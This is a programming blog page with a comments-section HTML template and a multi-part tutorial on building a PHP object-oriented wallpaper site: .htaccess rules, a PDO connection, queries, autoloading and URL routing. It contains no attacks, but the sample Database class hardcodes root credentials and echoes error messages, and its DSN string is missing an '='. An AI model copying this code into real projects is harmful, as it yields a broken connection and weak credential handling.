        <span class="cloud-tag" style="font-size: '.$font_size.';">'
        .$t["tagname"].'
        </span>
        </a>';
}
echo '</div>';
 ?>
        </div>
        <script
            src="https://code.jquery.com/jquery-3.3.1.js"
            integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
            crossorigin="anonymous"></script>
        <script
            src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.6/umd/popper.min.js"
            integrity="sha384-wHAiFfRlMFy6i5SRaxvfOCifBUQy1xHdJ/yoi7FRNXMRBu5WHdZYu1hA6ZOblgut"
            crossorigin="anonymous"></script>
        <script
            src="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/js/bootstrap.min.js"
            integrity="sha384-B0UglyR+jN6CkvvICOB2joaf5I4l3gm9GU6Hc1og6Ls7i6U/mkkaduKaBhlAXv9k"
            crossorigin="anonymous"></script>
    </body>
</html>

In the following video, I show the step by step process of writing this code and explain every part of it.

How to add Comments section to your blog

2020-08-29T12:08:25+00:00

For a Blog or any website to thrive and grow, it must have a way to interact with its visitors, to get their opinions, expectations and criticism. And what a better way to do all this than a section for comments for the visitors and customers to express their opinions and make their voice heard.

Many websites and apps offer their plugins for a comments section, however either they come at price or free with some sort of involvement from their part in maintaining it, or at least for a third party website to benefit from it, to use Facebook comments section plugins for example you pay the heavy price of letting Facebook track information about your visitors. even then, it is sometimes difficult to implement these plugins especially if you are building your website on your own and not using some website builders like Wordpress.

In this article I give you a simple CSS and HTML comments section that is simple to use and add to your blog. it is responsive as it uses bootstrap classes but it can be changed to any other library. and the layout would be the same. and it would look like this:

and here is the full html source code for it:



<!doctype html>
<html lang="en">
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet"
          href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css"
          integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS"
          crossorigin="anonymous">
    <title></title>
    <style>
        .comments-main {
        background-color:beige;
        }
        .comments-main ul {
        list-style:none;
        }
        .comments-main form .row {
        justify-content:center;
        text-align:center;
        vertical-align:center;
        }
        .rounded {
        border-radius: 25px;
        background: white;
        }
        .comment {
        background-color:white;
        padding: 10px;
        }
        .comment h4 {
        font-size: 14px;
        font-weight:bold;
        display:inline;
        }
        .comment label {
        font-size: 12px;
        display:inline;
        }
        .comment time {
        font-size: 12px;
        color: grey;
        }
        .comment p {
        font-size: 14px;
        padding-left: 10px;
        }
    </style>
    </head>
    <body>
    <div class="container-fluid">
        <h3 class="mt-5">Comments:</h3>
        <small>All comments will be added pending Approval</small>
        <div class="comments-main pl-2 pt-2 col-12 col-md-6">
        <ul class="row p-0 m-0">
            <li class="col-12 rounded comment mb-2" >
            <h4 class="m-0">John Smith</h4>
            <time> at 2020-05-15 18:03</time>
            <input type="checkbox" value="comment-id" id="checkbox-comment-id" name="checkbox-reply" form="commentform">
            <label for="checkbox-comment-id" style="color:blue;" >Reply</label>
            <p class="">good article</p>
            </li>
            <li class="col-12 p-0 m-0" >
            <ul>
                <li class="row p-0 m-0" >
                <div class="col-1 p-0 m-0"></div>
                <div class="col-11 comment rounded mb-2">
                    <h4 class="m-0">Glen Quagmire</h4>
                    <time> at 2020-05-15 18:03</time>
                    <p class="mb-0 reply">thanks a lot</p>
                </div>
                </li>
                <li class="row p-0 m-0" >
                <div class="col-1 p-0 m-0"></div>
                    <div class="col-11 comment rounded mb-2">
                    <h4 class="m-0">Glen Quagmire</h4>
                    <time> at 2020-05-15 18:03</time>
                    <p class="mb-0 reply">thanks a lot and here is a very long long reply to this awesome comment in this awesome article and this is responsive to the width of the current display either be it a phone, tablet or laptop.</p>
                    </div>
                </li>
            </ul>
            </li>
            <li class="col-12 rounded comment mb-2" >
            <h4 class="m-0">John Smith</h4>
            <time> at 2020-05-15 18:03</time>
            <input type="checkbox" value="comment-id" id="checkbox-comment-id" name="checkbox-reply" form="commentform">
            <label for="checkbox-comment-id" style="color:blue;" >Reply</label>
            <p class="">good article again</p>
            </li>
        </ul>
        <form method="post" id="commentform">
            <div class="row p-2">
            <input type="text" class="col-12" id="name" name="name" placeholder="Name" required>
            </div>
            <div class="row p-2">
            <input type="email" class="col-12" id="name" name="email" placeholder="Email" required>
            </div>
            <div class="row p-2">
            <textarea class="col-12 " name="text" id="text" placeholder="Comment" ></textarea>
            </div>
            <div class="row p-2">
            <button type="submit" class="btn btn-primary " >Submit Comment</button>
            </div>
        </form>
        </div>
    </div>
    <br>
    <br>
    <br>
    <script
        src="https://code.jquery.com/jquery-3.3.1.js"
        integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
        crossorigin="anonymous"></script>
    <script
        src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.6/umd/popper.min.js"
        integrity="sha384-wHAiFfRlMFy6i5SRaxvfOCifBUQy1xHdJ/yoi7FRNXMRBu5WHdZYu1hA6ZOblgut"
        crossorigin="anonymous"></script>
    <script
        src="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/js/bootstrap.min.js"
        integrity="sha384-B0UglyR+jN6CkvvICOB2joaf5I4l3gm9GU6Hc1og6Ls7i6U/mkkaduKaBhlAXv9k"
        crossorigin="anonymous"></script>
    </body>
</html>

Creating A Real Website with PHP Object Oriented part 5 URL Handling, Views and website behavior

2020-08-24T12:29:00+00:00

We will decide how our website will Handle the URLS, to comply with Google recommendations for building the urls, we will not use GET parameters, instead we will build our own logic to handle the parts of our URLS.
First we will list all possible urls that our website will have and then decide how to handle them. I decided that my website will only respond to these URLS:

https://mywebsite.com/
https://mywebsite.com/Wallpapers
https://mywebsite.com/Wallpapers/All
https://mywebsite.com/Wallpapers/All/1
https://mywebsite.com/Wallpapers/Full/1
https://mywebsite.com/Wallpapers/nature/1
https://mywebsite.com/Wallpapers/nature/1

the only relevant parts of our urls are the green and red parts, the "All" and "Full" are just keywords to identify whether we are browsing all Wallpapers in our database or showing a single wallpaper. any other word or words will be considered a search query. like "nature". The red part of our urls should always be numbers, they will represent the page number or in the case of "Full" the number will be the wallpaper id.

Simple enough we just gonna have to do a simple switch on the green part and check if the red part exists and it is a number. But first lets create a class that will handle viewing the html code, since at this point we are dealing with things that are not database related. the following class will be considered like an abstract class and the parent of all other "Views" classes that we will create for our website:



class Views {
    protected const ONE = 1;
    protected const ALL = 2;
    protected const SEARCH = 3;
    protected $toview;
    protected $db;
    protected function one(){}
    protected function all(){}
    protected function search(){}
    public function view(){
        switch($this->toview){
            case self::ONE:
                $this->one();
                break;
            case self::ALL:
                $this->all();
                break;
            case self::SEARCH:
                $this->search();
                break;
        }
    }
}

The three constants ONE, All and SEARCH will be used to decide what we are viewing, ie which function we should call, the 3 functions that we declared and not defined just yet one(), all(), and search().
The Only public function we created is view(). the code is clear enough to understand that the member variable toview will decide which function to call depending on its value. the other member variable db will be an instance to the Wallpapers Class we created in the previous tutorial.

The next class will inherit our "Views" Class . it is the class the will be doing the viewing:



class ViewWallpapers extends Views {
    private $id = -1;
    private $searchquery;
    private $perPage = 24;
    private $first;
    public function __construct(){

        $urlparts = array_slice(explode("/",$_SERVER["REQUEST_URI"]),2);

        //here goes the logic to handle the parts of our URLS and assign
        //values to our class member variables accordingly
    }
    protected function one(){
        echo "viewing the wallpaper with id $this->id";
    }
    protected function all(){
        echo "showing all wallpapers starting from $this->first";
    }
    protected function search(){
        echo "showing wallpapers tagged $this->searchquery starting from $this->first";
    }
}

In the ViewWallpapers Class we define the $id that will hold the id of a single Wallpaper that will be viewed by one() function. the $searchquery will be used to search() the wallpapers. the 3 functions are inherited from "Views" and defined here. later they will be used to print the html code of our website.
The constructor function will get the URL parts and store the relevant parts that we talked about in the beginning of this tutorial. using the REQUEST_URI from the $_SERVER variable.
the next lines of code will be added to the __construct function above and everything will fall into place:



public function __construct(){
    $urlparts = array_slice(explode("/",$_SERVER["REQUEST_URI"]),2);
    if(empty($urlparts[0])){
        $this->toview = self::ALL;
        $this->first = 0;
    }else{
        switch($urlparts[0]){
            case "All":
                $this->toview = self::ALL;
                if(!empty($urlparts[1]) && ctype_digit($urlparts[1])) $this->first = $urlparts[1];
                else $this->first = 0;
                break;
            case "Full":
                if(!empty($urlparts[1]) && ctype_digit($urlparts[1])){
                    $this->id = $urlparts[1];
                    $this->toview = self::ONE;
                }
                break;
            default:
                $this->toview = self::SEARCH;
                if(!empty($urlparts[1]) && ctype_digit($urlparts[1])) $this->first = $urlparts[1];
                else $this->first = 0;
                $this->searchquery = urldecode($urlparts[0]);
                break;
        }
    }
    $this->db = new Wallpapers();
}

with this we will be ready to start adding some html to our code. the next video will illustrate this tutorial as always. see you in the next tutorial.

Creating A Real Website with PHP object oriented - part 4 - Autoload and Register Classes

2020-08-22T10:52:43+00:00

Every php file you create must be included at some point before you use it. but as the website becomes bigger and the number of files increases, it becomes extremely difficult to keep track of the files. if you can't organize your code you might find yourself including the same file multiple times. and the code itself will look ugly and might not be resources friendly

In this tutorial we will introduce the concept of autoloading and registring classes only when needed. A class file will be included only when we are trying to instansiate it by creating an object from it. The include procedure will be neat and elegant. all because of the php function spl_autoload_register. IT was introduced since PHP 5.1 . it takes a function as a parameter, this function will hold the include statements we need. and returns true on success otherwise it returns false.

First we define our autoload function, it is in this part of our code that our class files naming convention will become helpful, as it will simplify the process of including the files. as we decided earlier all our class files will be either in "classes" or "views" directories. so the included file will look like :

"resources/classes/$classname.class.php"
"resources/views/$classname.class.php"

Autoloading And registring classes with spl_autoload_register



//index.php file:
spl_autoload_register('myautoloader');
function myautoloader($classname){
    $fname = "sources/classes/$classname.class.php";
    if(file_exists($fname)){
        include_once $fname;
        return true;
    }
    $fname = "sources/views/$classname.class.php";
    if(file_exists($fname)){
        include_once $fname;
        return true;
    }
    return false;
}

With this code; we will no longer worry about including any class file in any part of our project. we can even use any class in any other class and it will be loaded and registred as I illustrated in the following video:

Creating A Real Website with php object oriented - part 3 - The Wallpapers Database and fetching Data

2020-08-19T14:52:22+00:00

in this 3rd part of our series of tutorials about php programming language, now we are starting to fetch data from our database and we are getting closer to a functioning website.

Lets start by creating a class "Wallpapers" and make it extend or inherit the Database class we created in the previous tutorial, we will have the constructor of our class call its parent's constructor to make a server connection; then make a query to use the "Wallpapers" Database. like so:



    class Wallpapers extends Database {
        private $table = "wallpapers";
        private $tagtable = "tags";
        private $walltags = "wallpaperstags";
        public function __construct(){
            parent::__construct();
            $this->pdo->query("use Wallpapers");
            $this->pdo->query("set names 'utf8' ");
        }
    }

The second query is just to make sure we render the characters in our database correctly by using the UTF-8 character encoding. By now we are ready to start fetching data from our Database. We just have to think of the ways we will use this data. in our case. there are 3 ways we can use the Wallpapers Database:

viewing a single wallpaper.
browsing all the wallpapers
searching for wallpapers by a keyword or a tag

We have to create 3 functions/methods in our Wallpapers class to do just that. like so:



    public function one($id){
        $query = "select * from $this->table where id = ? ";
        $sql = $this->pdo->prepare($query);
        $sql->execute([$id]);
        return $sql->fetch();
    }
    public function all($first,$nrows){
        $query = "select * from $this->table limit :first, :nrows";
        $sql = $this->pdo->prepare($query);
        $sql->bindValue(':first',(int) $first,PDO::PARAM_INT);
        $sql->bindValue(':nrows',(int) $nrows,PDO::PARAM_INT);
        $sql->execute();
        return $sql->fetchAll();
    }
    public function search($tag,$first,$nrows){
        $query = " select t1.* , ( (1.3 * (MATCH(t3.tagname) AGAINST ( :tag IN BOOLEAN MODE))) + (0.6 * (MATCH(t3.text) AGAINST ( :tag IN BOOLEAN MODE)))) AS relevance
            from $this->table t1
            join $this->walltags t2 on t1.id = t2.id
            join $this->tagtable t3 on t3.id = t2.tagid
            where  MATCH(t3.tagname,t3.text) AGAINST ( :tag IN BOOLEAN MODE)
            order by relevance
            limit :first, :nrows ";
        $sql = $this->pdo->prepare($query);
        $sql->bindValue(':first',(int) $first,PDO::PARAM_INT);
        $sql->bindValue(':nrows',(int) $nrows,PDO::PARAM_INT);
        $sql->bindValue(':tag',(string) $tag,PDO::PARAM_STR);
        $sql->execute();
        return $sql->fetchAll();
    }

the one() and all() methods are straightforward, we are either requesting one wallpaper by its id, or requesting all wallpapers and limiting the number of rows we select, as we intend to browse the wallpapers in pages.
But in the search() function we query the wallpapers by keywords defined as tags in our database. we also order the results by their relevance to the search keyword while giving a priority to the tagname over the tag text.

to make it easy for you to follow these tutorials, I offer you the 3 tables of the Wallpapers database. the tags table may prove valuable to you in other projects as it contains thousands of keywords and their related text:

DOWNLOAD Database

The video as usual:

Creating a real website with PHP object oriented - part 2 - connecting to mysql server

2020-08-17T23:25:57+00:00

In the previous Article we talked about a few things to do when you are trying to make the first steps to make your website. In this tutorial we will make a class that will make the connection to our sql server. and all other classes will inherit it and extend it for mor features

For all our database operations we will use prepared statements as they are more secure against mysql injection. we will set the fetch mode for our PDO connection to allways be ASSOC as in associative arrays . so when we are selecting id,name,url, the data will be fetched in associative arrays as $row["id"], $row["name"], and $row["url"]; this way we won't confuse the rows when using them.

We will follow a naming convention for our classes to make it easy for us to autoload them into our index.php file in a simple and elegant way that I will show you in a later tutorial.

MAKING A DATABASE CONNECTION

the procedure is fairily simple:
Lets create our first php class file: in our resources/classes directory . we create Database.class.php File and we write the following php code:


//resources/classes/Database.class.php file
    class Database {
        protected $pdo;
        private $host="localhost";
        private $user="root";
        private $password="1313";

        public function __construct(){
            try{
                $this->pdo = new PDO("mysql:host".$this->host,$this->user,$this->password);
                $this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE,PDO::FETCH_ASSOC);
                $this->pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
                echo "we are connected";
            }catch(PDOException $e){
                echo $e->getMessage();
            }
        }
    }

the setAttribute methods will set the fetch mode to ASSOC and the error mode to exception, because sometimes we need to try to execute a PDO statement and we expect it to throw a PDO EXCEPTION like when inserting a value and we don't know it already exists, this way if the exception is thrown, we can then make a different query ( an UPDATE query for instance ).

and now we test our connection in our index.php file :


//index.php file
require_once "sources/classes/Database.class.php";
$d = new Database();

IF the "we are connected" message shows up then everything is OK and we are ready for the next step: a much bigger class to connect to our "wallpapers" database, this will be the subject of our next tutorial
In the mean time, As usual, here the video illustrating this tutorial:

Creating a real website with PHP object oriented - part 1 the site layout and htaccess

2020-08-16T16:57:11+00:00

For this tutorial, I assume that you have a basic knowledge of php and classes and objects, the programming language doesn't matter, for the principle of classes and object is the same.

What will be the key point of this tutorial is to show you how to implement these abstract notions in a real life website using a real database.

Before firing up your text editor to start coding you have to take your time to envision the idea of your website , you have to imagine it online and how you expect your users/clients/visitors to interact with it. you have to imagine every possible scenario. of course you can't be expected to have a detailed idea about it, but even a general idea will help.

Our website in this tutorial will have a single index.php file and we will make sure all the website traffic will go through our index.php file. later on we will make sure to handle every possible link in our website in a neat and precise manner. but lets cross that bridge when we get to it.

Our website layout

we will follow an MVC Model to create our website. this model's aim is to divide the responsibilities of our php files : the M stands for the Model, its all the php classes that will handle the logic, the database queries, and the algorithms, they will be separated from the classes that will be responsible for creating the html objects ( buttons, images, forms ....) these php classes are the V part of the MVC Model : the views. The C in the MVC Model is the Controllers ; these are the classes that will make changes to our database, they will be responsible for the insertions, updates and deletions.

Lets make our website

Part 1 : the website directories

First we create our website directories in the following tree structure:

    css
    js
    images
    resources
        classes
        includes
        views
    index.php
    .htaccess

.htaccess and changing the server rules and behavior

As I said before, we need to envision how the website will work beforehand and before we create it. What I envisioned for my website is that I want all the traffic to go through a single file: index.php. I want to deny direct access to the directories and I want to redirect my website users to my index.php whenever they try to access a directory or a file that does not exist. Luckily the magic file .htaccess do just that and so many more. it basically alters the rules of the webserver.

the following instructions will make all the conditions I mentioned above:



Options -Indexes
ErrorDocument 403 /index.php
ErrorDocument 404 /index.php

the first line will deny direct access to existing directories in our server by disabling directories indexing, this will result in a 403 error access denied when trying to access a directory in our server, this is when the second line of our .htaccess file kicks in: the 403 access denied will be redirected to the index.php file and our visitor is none the wiser. the third line is a redirection from 404 file not found pages to index.php as well.

In the next tutorial we will make a database connection using mysql PDO, stay tuned. In the mean time this is a video that illustrates this tutorial.

MOSAID Articles & Tutorials - Programming

Engineering a Deterministic Audio Boundary Marker with Python and Curses

Architecture Overview

Marker State and Persistence

UI Design: Curses That Respects Muscle Memory

Export and Reproducibility

Code Snippets That Illustrate the Core

Why Not Use Existing Tools?

Is It Worth Putting on GitHub?

Future Directions

Final Thoughts

Engineering the Matrix Rain: A Deterministic SVG Animation Component for My Pelican Banner Generator

Why a Matrix Rain Component?

Architecture Overview

Implementation Walkthrough

Component Base Class

Animation Logic

Determinism & Seeding

Configuration Surface

Integration with the Banner Generator

Performance & Tradeoffs

Why Build It from Scratch?

Future Improvements

Replaying CSS Builds: A Recipe-Based Manager for Pelican Themes

The Render‑Blocking Problem

The Development Loop That Slowed Me Down

The CSS Bundle Experiment Manager

Architecture

Workflow: From Source to Deployed Bundle

1. Combine

2. Purge

3. Minify

4. Copy

The Recipe System

“Deploy Again” – The Shortcut That Saves the Day

Integration with Pelican

Performance Impact

Why Not Use an Existing Bundler?

Potential Improvements

Final Thoughts

Engineering Deterministic Prompts for LLM Agents: A Systems Design Approach

The Problem: LLMs Are Powerful but Unpredictable

Why Conversational Prompting Fails for Automation

The Core Insight: Prompts as Machine-Readable Specifications

Layered Prompt Architecture

Layer 1: Identity and Constraints

Layer 2: Negative Specification

Layer 3: Structural Contract

Layer 4: Formatting Micro-Specifications

Layer 5: Fallback Logic

Composability Through File Separation

Testing Prompts Like Code

Version-Controlled Prompt Evolution

Why This Approach Produces Better Technical Content

Practical Patterns for Production Prompts

Pattern 1: The Output Contract Table

Pattern 2: The Concrete-Before-Abstract Rule

Pattern 3: Explicit Enumeration of Failure Modes

Pattern 4: The Minimum Viable Output Constraint

Tradeoffs and Limitations

Integration with CI/CD Pipelines

Conclusion: Prompts Are Infrastructure

Further Reading and References

Jinja2 to PDF: Modern HTML-to-PDF Generation with WeasyPrint

Why WeasyPrint Over the Alternatives

Architecture Overview

Installing WeasyPrint

Template Design with CSS Paged Media

The Python Pipeline

Handling Images and Static Assets

Dockerizing the Pipeline

Performance Considerations

Migration From wkhtmltopdf: What Changes

Edge Cases and Gotchas

Integration Patterns

Complete Example: Invoice Generator

Final Thoughts

Designing a Clean Content Architecture for Pelican Static Sites

Content Is Data

File Naming Convention

Organising the `content/` Directory